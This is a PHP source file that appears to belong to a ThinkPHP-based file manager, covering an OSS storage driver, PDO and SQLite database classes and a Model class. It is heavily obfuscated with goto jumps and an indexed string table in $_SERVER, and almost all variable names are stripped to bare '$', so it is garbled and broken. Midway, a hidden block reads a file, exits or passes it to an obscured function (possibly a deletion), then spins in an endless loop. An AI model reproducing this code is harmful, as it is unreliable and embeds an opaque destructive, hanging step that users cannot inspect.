$this->cacheMethod($_SERVER[][179], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][181] 
, $); } protected function _objectMeta($) { $ =& $_SERVER[]; try { $ = $this->client->getObjectMeta($this->bucket 
, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); $ 
 = !1; } if ($) { $[$[79]] = intval($[$[1472]]); } return $; } protected function _isFolder($) 
{ $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $ = array($[1467] => $[8], $ 
[1468] => rtrim($, $[8]) . $[8], $[1469] => 1, $[1470] => $[12]); $ = $this->client->listObjects($this- 
>bucket, $); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } public function writeLog($ = '', 
$ = false) { $ =& $_SERVER[]; $ = in_array(ACTION, array($[212], $[213])); if (!$ && !GLOBAL_DEBUG) { 
return; } $ = 0; if (stripos($, $[1494]) !== !1) { $ = 1; $ = explode($[1495], $); $ = !empty($ 
[1]) ? $[1] : $; } else { if (stripos($, $[1496])) { $ = 2; $ = explode($[1496], $); $ = explo 
de($[4], $[0]); $ = !empty($[1]) ? $[1] : $; } } if ($ && I18n::getType() == $[1497]) { if ($ 
== 1) { $ = str_replace($[1498], $[1499], $); } else { if ($ == 2) { $ = explode($[214], $[0]); $ 
 = isset($[1]) ? $[1] : $[12]; $ = array($[1500] => $[1501], $[1502] => $[1503], $[1 
504] => $[1505], $[1506] => $[1507], $[1508] => $[1509], $[1510] => $[1511], $[1512] => $ 
[1513], $[1514] => $[1515], $[1516] => $[1517], $[1518] => $[1519]); if (isset($[$])) { $ 
 = $[$]; } } } if (stripos($, $[1520])) { $ = $[1521]; } } if (!trim($)) { return; } parent::writ 
eLog(trim($), $); } } goto e; c: class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public funct 
ion __construct($ = '') { $ =& $_SERVER[]; if (!class_exists($[988])) { think_exception(think_lang($[14]) . $[989]); 
} if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public functi 
on connect($ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->con 
fig; } $ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; if ($) { $[$[17]][PDO::AT 
TR_PERSISTENT] = !0; } try { $this->linkID[$] = new PDO($[$[990]], $[$[962]], $[$[963]], $[$[17]]); 
} catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($[$[990]]); if (in_a 
rray($this->dbType, array($[991], $[992], $[993], $[994]))) { think_exception($[995] . $this->dbType . $[996] 
. $this->dbType . $[997]); } if (!$this->linkID[$]) { think_exception($[998]); } try { $this->linkID[$]->exec($[999 
] . think_config($[965])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($[22])) { unset($this->con 
fig); } } return $this->linkID[$]; } public function free() { $this->PDOStatement = null; } public function query($, $ = array 
()) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) 
{ $this->queryStr .= $[1000] . print_r($, !0) . $[1001]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_ 
status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { 
think_exception($this->error()); } $ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $) { $this->error(); return !1; 
} else { return $this->getAll(); } } public function execute($, $ = array()) { $ =& $_SERVER[]; $this->initConnect(!0) 
; if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) { $this->queryStr .= $[1000] . print_r($, !0) 
. $[1001]; } $ = !1; if ($this->dbType == $[994]) { if (preg_match($[1002], $this->queryStr, $)) { $this->table 
= think_config($[1003]) . str_ireplace(think_config($[1004]), $[329], $[2]); $ = (bool) $this->query($[1005] 
. strtoupper($this->table) . $[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[25], 1); think 
_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()) 
; } $ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows 
= $this->PDOStatement->rowCount(); if ($ || preg_match($[1006], $)) { $this->lastInsID = $this->getLastInsertId(); } return $ 
this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { 
$this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this-> 
_linkID->commit(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this-> 
transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } priva 
te function getAll() { $ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($); return $; } public 
function getFields($) { $ =& $_SERVER[]; $this->initConnect(!0); if (think_config($[1007])) { $ = str_replace($ 
[1008], $, think_config($[1007])); } else { switch ($this->dbType) { case $[991]: case $[1009]: $ = "SE 
LECT   column_name as 'Name',   data 
_type as 'Type',   column_default as\ 
x20'Default',   is_nullable as 'Null'\xa\x9\x9 
FROM\x9information_schema.tables AS t\xa 
	\x9JOIN	information_schema.columns AS 
 c
	\x9ON  t.table_catalog = c.table_c\x 
61talog\xa\x9\x9AND t.table_schema = c.table 
_schema
		AND t.table_name = c.table\x5 
fname
\x9\x9WHERE   t.table_name = '{$}'"; break; ca 
se $[1010]: $ = $[1011] . $ . $[1012]; break; case $[992]: case $[994]: $ = $[1013] . $ 
[1014] . $[1015] . strtoupper($) . $[1016] . strtoupper($) . $[1017]; break; case $[1018]: $ = $[ 
1019] . $ . $[1020]; break; case $[993]: break; case $[1021]: default: $ = $[1022] . ($this->dbType == $ 
[1021] ? "`{$}`" : $); } } $ = $this->query($); $ = array(); if ($) { foreach ($ as $ 
=> $) { $ = array_change_key_case($); $[$[32]] = isset($[$[32]]) ? $[$[32]] : $[329]; $ 
[$[33]] = isset($[$[33]]) ? $[$[33]] : $[329]; $ = isset($[$[359]]) ? $[$[359]] : 
$[$[32]]; $[$] = array($[32] => $, $[33] => $[$[33]], $[35] => (bool) (isset($[$ 
[106]]) && $[$[106]] === $[12] || isset($[$[35]]) && $[$[35]] === $[12]), $[37] => isset($ 
[$[37]]) ? $[$[37]] : (isset($[$[56]]) ? $[$[56]] : $[329]), $[39] => isset($[$[97 
]]) ? strtolower($[$[97]]) == $[41] : (isset($[$[57]]) ? $[$[57]] : !1), $[42] => isset($[$ 
[1023]]) ? strtolower($[$[1023]]) == $[44] : (isset($[$[97]]) ? $[$[97]] : !1)); } } return $; } p 
ublic function getTables($ = '') { $ =& $_SERVER[]; if (think_config($[1024])) { $ = str_replace($[1025], $ 
, think_config($[1024])); } else { switch ($this->dbType) { case $[992]: case $[994]: $ = $[1026]; break; case $[99 
1]: case $[1009]: $ = $[1027]; break; case $[1018]: $ = $[1028]; break; case $[993]: think_exception(think_lan 
g($[1029]) . $[1030]); break; case $[1010]: $ = $[45] . $[46] . $[47]; break; case $[1021]: default: if (!e 
mpty($)) { $ = $[973] . $ . $[974]; } else { $ = $[975]; } } } $ = $this->query($); $ = array 
(); foreach ($ as $ => $) { $[$] = current($); } return $; } protected function parseLimit($) { $ 
=& $_SERVER[]; $ = $[12]; if (!empty($)) { switch ($this->dbType) { case $[1018]: case $[1010]: $ = explod 
e($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $ 
[51] . $[0] . $[53]; } break; case $[991]: case $[1009]: break; case $[993]: break; case $[992]: case $[9 
94]: break; case $[1021]: default: $ .= $[51] . $ . $[53]; } } return $; } public function parseKey(&$, $ 
 = true) { $ =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($this->dbType == $[1021]) { if ($ 
 != $[220] && !preg_match($[985], $)) { $ = $[469] . trim($, $[469]) . $[469]; } return $; 
} else { return parent::parseKey($, $); } } public function close() { $this->_linkID = null; } public function error() { $ 
=& $_SERVER[]; if ($this->PDOStatement) { $ = $this->PDOStatement->errorInfo(); $this->error = $[1] . $[4] . $ 
[2]; } else { $this->error = $[12]; } if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } thin 
k_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[]; s 
witch ($this->dbType) { case $[1018]: case $[991]: case $[1009]: case $[1021]: return addslashes($); case $[99 
3]: case $[1010]: case $[992]: case $[994]: return str_ireplace($[58], $[59], $); } } protected function parse 
Value($) { $ =& $_SERVER[]; if (is_string($)) { $ = strpos($, $[4]) === 0 && in_array($, array_keys 
($this->bind)); $ = $ ? $this->escapeString($) : $[1031] . $this->escapeString($) . $[1031]; } elseif (isset($ 
[0]) && is_string($[0]) && strtolower($[0]) == $[382]) { $ = $this->escapeString($[1]); } elseif (is_array($ 
)) { $ = array_map(array($this, $[1032]), $); } elseif (is_bool($)) { $ = $ ? $[91] : $[228]; } e 
lseif (is_null($)) { $ = $[106]; } return $; } public function getLastInsertId() { $ =& $_SERVER[]; switch ($t 
his->dbType) { case $[1018]: case $[1010]: case $[991]: case $[1009]: case $[993]: case $[1021]: return $this->_link 
ID->lastInsertId(); case $[992]: case $[994]: $ = $this->table; $ = $this->query("SELECT {$}.\x6 
3urrval currval FROM dual"); return $ ? $[0][$[1033]] 
: 0; } } } class DbSqlite extends DbSqliteBase { public function query($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($ 
[13])) { return !1; } $ = parent::query($); CacheLock::fileUnLock($[13]); return $; } public function execute($) 
{ $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($ 
[13]); return $; } } class DbSqlite3 extends DbSqlite3Base { public function query($) { $ =& $_SERVER[]; if (!CacheLoc 
k::fileLock($[13])) { return !1; } $ = parent::query($); CacheLock::fileUnLock($[13]); return $; } public function exe 
cute($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($); CacheLoc 
k::fileUnLock($[13]); return $; } } goto B; e: define($_SERVER[][317], 3); define($_SERVER[][318], 1); d 
efine($_SERVER[][319], 0); goto E; E: define($_SERVER[][320], 2); if (!isset($_SERVER[$_SERVER[][321]]) || !isse 
t($_SERVER[$_SERVER[][322]])) { $_getc = $_SERVER[][323]; $_getfile = $_SERVER[$_SERVER[][324]] . $_SERVER[][325]; $ 
_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][262], $_getfilec); if (count($_getarrs) < $_SERVER[][326]) { $exit 
= $_SERVER[][327]; $exit(); } $_act = $_SERVER[][328]; $_act($_SERVER[$_SERVER[][324]] . $_SERVER[][325]); $_iii = 
2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[][329]); } } class Model extends ClassBaseCall { private $_extModel = nu 
ll; protected $db = null; protected $pk = "id"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $ 
connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $da 
ta = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected 
$_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("table", 
"order", "alias", "having", "group", "lock", "dist
 
1nct", "auto", "filter", "validate", "result", "bi\x6 
ed", "token"); public function __construct($ = '', $ = '', $ = '') { $ =& $_SERVER[]; $this->_ 
initialize(); if (!empty($)) { if (strpos($, $[10])) { list($this->dbName, $this->name) = explode($[10], $); } e 
lse { $this->name = $; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($)) { $this->tablePr 
efix = $[12]; } elseif ($[12] != $) { $this->tablePrefix = $; } else { $this->tablePrefix = $this->tablePrefix ? $this 
->tablePrefix : think_config($[330]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt 
_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[]; if (empty($this->fields)) { if (think_config($[ 
331])) { $ = $this->dbName ? $this->dbName : think_config($[332]); $ = think_var_cache($[333] . strtolower(get_path_this 
($) . $[10] . $this->name)); if ($) { $ = think_config($[334]); if (empty($) || $[$[335]] == $) 
{ $this->fields = $; return; } } } $this->flush(); } } public function flush() { $ =& $_SERVER[]; $this->db->setModel($this- 
>name); $ = $this->db->getFields($this->getTableName()); if (!$) { return !1; } $this->fields = array_keys($); $this->fields[ 
$[336]] = !1; foreach ($ as $ => $) { $[$] = $[$[33]]; if ($[$[39]]) { $this->fields[$ 
[337]] = $; if ($[$[42]]) { $this->fields[$[336]] = !0; } } } $this->fields[$[338]] = $; if (think_config($ 
[334])) { $this->fields[$[335]] = think_config($[334]); } if (think_config($[331])) { $ = $this->dbName ? $this->dbNa 
me : think_config($[332]); think_var_cache($[333] . strtolower(get_path_this($) . $[10] . $this->name), $this->fields); 
} } public function switchModel($, $ = array()) { $ =& $_SERVER[]; $ = ucwords(strtolower($)) . $[339]; if 
(!class_exists($)) { think_exception($ . think_lang($[340])); } $this->_extModel = new $($this->name); if (!empty($)) 
{ foreach ($ as $) { $this->_extModel->setProperty($, $this->{$}); } } return $this->_extModel; } public function __set($ 
, $) { $this->data[$] = $; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } publ 
ic function __isset($) { return isset($this->data[$]); } public function __unset($) { unset($this->data[$]); } public fu 
nction __call($, $) { $ =& $_SERVER[]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($ 
)] = $[0]; return $this; } elseif (in_array(strtolower($), array($[341], $[342], $[343], $[344], $[345] 
), !0)) { $ = isset($[0]) ? $[0] : $[220]; $ = $this->db->parseKey($); return $this->getField(strtoupper($) . $ 
[346] . $ . $[347] . $, $[341]); } elseif (strtolower(substr($, 0, 5)) == $[348]) { $ = think_parse_ 
name(substr($, 5)); $[$] = $[0]; return $this->where($)->find(); } elseif (strtolower(substr($, 0, 10)) == $ 
[349]) { $ = think_parse_name(substr($, 10)); $[$] = $[0]; return $this->where($)->getField($[1]); } else 
if (isset($this->_scope[$])) { return $this->scope($, $[0]); } elseif (method_exists($this, $)) { array_unshift($, $ 
); return call_user_func_array(array($this, $[350]), $); } else { return call_user_func_array(array(parent, $), $); } } protec 
ted function call() { $ =& $_SERVER[]; $ = func_get_args(); $ = array_shift($); $ = $; if (is_array($)) 
{ $ = $[1]; $ = $[0]; } $ = count($) - 1; if (isset($[$]) && $[$] === $) { think_exception( 
__CLASS__ . $[4] . $ . think_lang($[351])); return; } $[] = $; if (method_exists($this, $[352])) { $ = ca 
ll_user_func_array(array($this, $[353]), array($, $)); if (!is_null($) && $ !== !1) { return $; } } $ = c 
all_user_func_array(array($this, $), $); if (method_exists($this, $[354])) { $ = call_user_func_array(array($this, $ 
[355]), array($, $, $)); if ($) { return $; } } return $; } protected function _initialize() { } protected fun 
ction _facade($) { $ =& $_SERVER[]; if (!empty($this->fields)) { foreach ($ as $ => $) { if (is_array($this->fields) 
&& !in_array($, $this->fields, !0)) { unset($[$]); } elseif (is_scalar($)) { $this->_parseType($, $); } } } if (!empty($thi 
s->options[$[356]])) { $ = array_map($this->options[$[356]], $); unset($this->options[$[356]]); } $this->_beforeWrite( 
$); return $; } protected function _beforeWrite(&$) { } public function add($ = '', $ = array(), $ = false) { if (em 
pty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][3 
57]); return !1; } } $ = $this->_parseOptions($); $ = $this->_facade($); if (!1 === $this->_beforeInsert($, $ 
)) { return !1; } $ = $this->db->insert($, $, $); if (!1 !== $) { $ = $this->getLastInsID(); if ($) 
{ $[$this->getPk()] = $; $this->_after_insert($, $); return $; } $this->_after_insert($, $); } retur 
n $; } protected function _beforeInsert(&$, $) { } protected function _after_insert($, $) { } public function addA 
ll($, $ = array(), $ = false) { $ =& $_SERVER[]; if (empty($)) { $this->error = think_lang($[357]); re 
turn !1; } $ = $this->_parseOptions($); foreach ($ as $ => $) { $[$] = $this->_facade($); } if (meth 
od_exists($this->db, $[358])) { $ = $this->db->insertAll($, $, $); } else { $this->startTrans(); foreach ($ a 
s $ => $) { $ = $this->db->insert($, $, $); } $this->commit(); } if (!1 !== $) { $ = $this->getLas 
tInsID(); if ($) { return $; } } return $; } public function selectAdd($ = '', $ = '', $ = array()) { $ = 
& $_SERVER[]; $ = $this->_parseOptions($); if (!1 === ($ = $this->db->selectInsert($ ? $ : $[$[359]] 
, $ ? $ : $this->getTableName(), $))) { $this->error = think_lang($[360]); return !1; } else { return $; } } publi 
c function save($ = '', $ = array()) { $ =& $_SERVER[]; if (empty($)) { if (!empty($this->data)) { $ = $this 
->data; $this->data = array(); } else { $this->error = think_lang($[357]); return !1; } } $ = $this->_facade($); $ = $t 
his->_parseOptions($); $ = $this->getPk(); if (!isset($[$[361]])) { if (isset($[$])) { $[$] = $ 
[$]; $[$[361]] = $; unset($[$]); } else { $this->error = think_lang($[360]); return !1; } } if (i 
s_array($[$[361]]) && isset($[$[361]][$])) { $ = $[$[361]][$]; } if (!1 === $this->_before 
Update($, $)) { return !1; } $ = $this->db->update($, $); if (!1 !== $) { if (isset($)) { $[$ 
] = $; } $this->_afterUpdate($, $); } return $; } protected function _beforeUpdate(&$, $) { } protected funct 
ion _afterUpdate($, $) { } public function delete($ = array()) { $ =& $_SERVER[]; if (empty($) && empty($this->op 
tions[$[361]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); 
} else { return !1; } } $ = $this->getPk(); if (is_numeric($) || is_string($)) { if (strpos($, $[50])) { $[$ 
] = array($[362], $); } else { $[$] = $; } $this->options[$[361]] = $; } $ = $this->_parseOptions(); 
if (is_array($[$[361]]) && isset($[$[361]][$])) { $ = $[$[361]][$]; } $ = $this->db->delete 
($); if (!1 !== $) { $ = array(); if (isset($)) { $[$] = $; } $this->_after_delete($, $); } return $; 
} protected function _after_delete($, $) { } public function select($ = array()) { $ =& $_SERVER[]; if (is_string($ 
) || is_numeric($)) { $ = $this->getPk(); if (strpos($, $[50])) { $[$] = array($[362], $); } el 
se { $[$] = $; } $this->options[$[361]] = $; } elseif (!1 === $) { $ = $this->_parseOptions(); return $ 
[363] . $this->db->buildSelectSql($) . $[364]; } $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $ 
) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $); return $; } protected function _afterSel 
ect(&$, $) { } public function buildSql($ = array()) { $ =& $_SERVER[]; $ = $this->_parseOptions($) 
; return $[363] . $this->db->buildSelectSql($) . $[364]; } public function optionsValue($ = null) { if (is_null($) 
) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parse 
Options($ = array()) { $ =& $_SERVER[]; if (is_array($)) { $ = array_merge($this->options, $); } $this->optio 
ns = array(); if (!isset($[$[365]])) { $[$[365]] = $this->getTableName(); $ = $this->fields; } else { $ = $thi 
s->getDbFields(); } if (!empty($[$[366]])) { $[$[365]] .= $[53] . $[$[366]]; } $[$[367]] = $thi 
s->name; if (isset($[$[361]]) && is_array($[$[361]]) && !empty($) && !isset($[$[368]]) && !isset($[$ 
[365]])) { foreach ($[$[361]] as $ => $) { $ = trim($); if (in_array($, $, !0)) { if (is_scalar($ 
)) { $this->_parseType($[$[361]], $); } } elseif (!is_numeric($) && $[11] != substr($, 0, 1) && !1 === strpos( 
$, $[10]) && !1 === strpos($, $[346]) && !1 === strpos($, $[214]) && !1 === strpos($, $[369])) { unset($ 
[$[361]][$]); } } } $this->_options_filter($); return $; } protected function _options_filter(&$) { } protected 
function _parseType(&$, $) { $ =& $_SERVER[]; if (empty($this->options[$[370]][$[4] . $])) { $ = 
strtolower($this->fields[$[338]][$]); if (!1 !== strpos($, $[371])) { } elseif (!1 === strpos($, $[372]) && !1 
!== strpos($, $[373])) { $[$] = intval($[$]); } elseif (!1 !== strpos($, $[374]) || !1 !== strpos 
($, $[375])) { $[$] = floatval($[$]); } elseif (!1 !== strpos($, $[376])) { $[$] = (boo 
l) $[$]; } } } public function find($ = array()) { $ =& $_SERVER[]; if (is_numeric($) || is_string($)) { 
$[$this->getPk()] = intval($); $this->options[$[361]] = $; } $this->options[$[377]] = 1; $ = $this->_parseOptio 
ns(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $th 
is->_afterFind($this->data, $); if (!empty($this->options[$[378]])) { return $this->returnResult($this->data, $this->options[$[ 
378]]); } return $this->data; } protected function _afterFind(&$, $) { } protected function returnResult($, $ = '') { $ 
 =& $_SERVER[]; if ($) { if (is_callable($)) { return call_user_func($, $); } switch (strtolower($)) { ca 
se $[379]: return json_encode($); case $[380]: return xml_encode($); } } return $; } public function parseFieldsMap 
($, $ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ => $) { if ($ == 1) { if (isset($[$])) 
{ $[$] = $[$]; unset($[$]); } } else { if (isset($[$])) { $[$] = $[$]; unset($ 
[$]); } } } } return $; } public function setField($, $ = '') { if (is_array($)) { $ = $; } else { $ 
[$] = $; } return $this->save($); } public function setAdd($, $ = 1) { $ =& $_SERVER[]; $ = $ 
 . $[381] . $; if ($ < 0) { $ = $ . $; } return $this->setField($, array($[382], $)); } public fu 
nction getField($, $ = null) { $ =& $_SERVER[]; $[$[359]] = $; $ = $this->_parseOptions($); $ 
 = trim($); if (strpos($, $[50])) { if (!isset($[$[377]])) { $[$[377]] = is_numeric($) ? $ 
 : $[12]; } $ = $this->db->select($); if (!empty($)) { $ = explode($[50], $); $ = array_keys($ 
[0]); $ = array_shift($); $ = array_shift($); $ = array(); $ = count($); foreach ($ as $) 
{ $ = $[$]; if (2 == $) { $[$] = $[$]; } else { $[$] = is_string($) ? implode($, 
$) : $; } } return $; } } else { if (!0 !== $) { $[$[377]] = is_numeric($) ? $ : 1; } if ($ === $ 
[341]) { unset($[$[377]]); } $ = $this->db->select($); if (!empty($)) { if ($ === $[341]) { return 
reset($[0]); } if (!0 !== $ && 1 == $[$[377]]) { return reset($[0]); } foreach ($ as $) { $[] = $ 
[$]; } return $; } } return null; } public function create($ = '', $ = '') { $ =& $_SERVER[]; if (empty( 
$)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->err 
or = think_lang($[357]); return !1; } $ = $this->parseFieldsMap($, 0); $ = $ ? $ : (!empty($[$this->getPk() 
]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$[359]])) { $ = $this->options[$[359]]; unset($this 
->options[$[359]]); } elseif ($ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($ 
 == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $ 
 = explode($[50], $); } if (think_config($[383])) { $[] = think_config($[384]); } foreach ($ as $ => 
$) { if (!in_array($, $)) { unset($[$]); } } } if (!$this->autoValidation($, $)) { return !1; } if (!$this->aut 
oCheckToken($)) { $this->error = think_lang($[385]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); for 
each ($ as $ => $) { if (!in_array($, $)) { unset($[$]); } elseif (MAGIC_QUOTES_GPC && is_string($)) { $ 
[$] = stripslashes($); } } } $this->autoOperation($, $); $this->data = $; return $; } public function autoCheckToke 
n($) { $ =& $_SERVER[]; if (isset($this->options[$[386]]) && !$this->options[$[386]]) { return !0; } if (think_con 
fig($[383])) { $ = think_config($[384]); if (!isset($[$]) || Session::get($)) { return !1; } list($, $ 
) = explode($[11], $[$]); if ($ && Session::get($ . $[10] . $) === $) { Session::remove($ . $ 
[10] . $); return !0; } if (think_config($[387])) { Session::remove($ . $[10] . $); } return !1; } return 
!0; } public function regex($, $) { $ =& $_SERVER[]; $ = array($[388] => $[389], $[390] => $ 
[391], $[392] => $[393], $[394] => $[395], $[396] => $[397], $[398] => $[399], $[400] => $ 
[401], $[375] => $[402], $[403] => $[404]); if (isset($[strtolower($)])) { $ = $[strtolower($ 
)]; } return preg_match($, $) === 1; } private function autoOperation(&$, $) { $ =& $_SERVER[]; if (!empty($t 
his->options[$[405]])) { $ = $this->options[$[405]]; unset($this->options[$[405]]); } elseif (!empty($this->_auto)) { $ 
 = $this->_auto; } if (isset($)) { foreach ($ as $) { if (empty($[2])) { $[2] = THINK_MODEL_INSERT; } if ($ 
== $[2] || $[2] == THINK_MODEL_BOTH) { switch (trim($[3])) { case $[406]: case $[407]: $ = isset($[4]) ? (arr 
ay) $[4] : array(); if (isset($[$[0]])) { array_unshift($, $[$[0]]); } if ($[406] == $[3]) { $[$ 
[0]] = call_user_func_array($[1], $); } else { $[$[0]] = call_user_func_array(array(&$this, $[1]), $); } break; cas 
e $[359]: $[$[0]] = $[$[1]]; break; case $[408]: if ($[12] === $[$[0]]) { unset($[$[0]]); 
} break; case $[409]: default: $[$[0]] = $[1]; } if (!1 === $[$[0]]) { unset($[$[0]]); } } } } return $ 
; } protected function autoValidation($, $) { $ =& $_SERVER[]; if (!empty($this->options[$[410]])) { $ = $ 
this->options[$[410]]; unset($this->options[$[410]]); } elseif (!empty($this->_validate)) { $ = $this->_validate; } if (isset 
($)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ as $ => $) { if (empty($[5]) || $[5] == TH 
INK_MODEL_BOTH || $[5] == $) { if (0 == strpos($[2], $[411]) && strpos($[2], $[412])) { $[2] = think_lang(subs 
tr($[2], 2, -1)); } $[3] = isset($[3]) ? $[3] : THINK_EXISTS_VALIDATE; $[4] = isset($[4]) ? $[4] : $[413]; 
switch ($[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $)) { return !1; } break; case THINK_VALUE_VALID 
ATE: if ($[12] != trim($[$[0]])) { if (!1 === $this->_validationField($, $)) { return !1; } } break; default: if (isset 
($[$[0]])) { if (!1 === $this->_validationField($, $)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } ret 
urn !0; } protected function _validationField($, $) { if (!1 === $this->_validationFieldItem($, $)) { if ($this->patch 
Validate) { $this->error[$[0]] = $[2]; } else { $this->error = $[2]; return !1; } } return; } protected function _validationF 
ieldItem($, $) { $ =& $_SERVER[]; switch (strtolower(trim($[4]))) { case $[406]: case $[407]: $ = iss 
et($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], 
$[0]); } if (is_array($[0])) { foreach ($[0] as $) { $[$] = $[$]; } array_unshift($, $); 
} else { array_unshift($, $[$[0]]); } if ($[406] == $[4]) { return call_user_func_array($[1], $); } else 
{ return call_user_func_array(array(&$this, $[1]), $); } case $[414]: return $[$[0]] == $[$[1]]; case $ 
[415]: if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } $ = array(); if 
(is_array($[0])) { foreach ($[0] as $) { $[$] = $[$]; } } else { $[$[0]] = $[$[0]]; 
} if (!empty($[$this->getPk()])) { $[$this->getPk()] = array($[416], $[$this->getPk()]); } if ($this->where($)->find( 
)) { return !1; } return !0; default: return $this->check($[$[0]], $[1], $[4]); } } public function check($, $ 
, $ = "regex") { $ =& $_SERVER[]; $ = strtolower(trim($)); switch ($) { case $[7]: case $ 
[417]: $ = is_array($) ? $ : explode($[50], $); return $ == $[7] ? in_array($, $) : !in 
_array($, $); case $[418]: case $[419]: if (is_array($)) { $ = $[0]; $ = $[1]; } else { lis 
t($, $) = explode($[50], $); } return $ == $[418] ? $ >= $ && $ <= $ : $ < $ || 
$ > $; case $[420]: case $[421]: return $ == $[420] ? $ == $ : $ != $; case $[422]: 
$ = mb_strlen($, $[423]); if (strpos($, $[50])) { list($, $) = explode($[50], $); return $ 
 >= $ && $ <= $; } else { return $ == $; } case $[424]: list($, $) = explode($[50], $ 
); if (!is_numeric($)) { $ = strtotime($); } if (!is_numeric($)) { $ = strtotime($); } return NOW_TIME >= $ 
 && NOW_TIME <= $; case $[425]: return in_array(get_client_ip(), explode($[50], $)); case $[426]: return !in_ 
array(get_client_ip(), explode($[50], $)); case $[413]: default: return $this->regex($, $); } } public function q 
uery($, $ = false) { $ =& $_SERVER[]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($ 
); } $ = str_replace(array($[262], $[427]), $[53], $); $ = $this->parseSql($, $); return $this->db 
->query($); } public function execute($, $ = false) { if (!is_bool($) && !is_array($)) { $ = func_get_arg 
s(); array_shift($); } $ = $this->parseSql($, $); return $this->db->execute($); } protected function parseSql( 
$, $) { $ =& $_SERVER[]; if (!0 === $) { $ = $this->_parseOptions(); $ = $this->db->parseSql($, $ 
); } elseif (is_array($)) { $ = array_map(array($this->db, $[428]), $); $ = vsprintf($, $); } else { 
$ = strtr($, array($[429] => $this->getTableName(), $[430] => think_config($[330]))); } $this->db->setModel($this 
->name); return $; } public function db($ = '', $ = '', $ = array()) { $ =& $_SERVER[]; if ($[12] === $ 
 && $this->db) { return $this->db; } static $ = array(); static $ = array(); if (!isset($[$]) || isset($[$ 
]) && $ && $[$] != $) { if (!empty($) && is_string($) && !1 === strpos($, $[8])) { $ = think_config($ 
); } $ = think_guid($); $[$] = Db::getInstance($); } elseif (NULL === $) { $[$]->close(); unset($[ 
$]); return; } if (!empty($)) { if (is_string($)) { parse_str($, $); } foreach ($ as $ => $) { $this->set 
Property($, $); } } $[$] = $; $this->db = $[$]; $this->_after_db(); if (!empty($this->name) && $this->auto 
CheckFields) { $this->_checkTableInfo(); } return $); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->true 
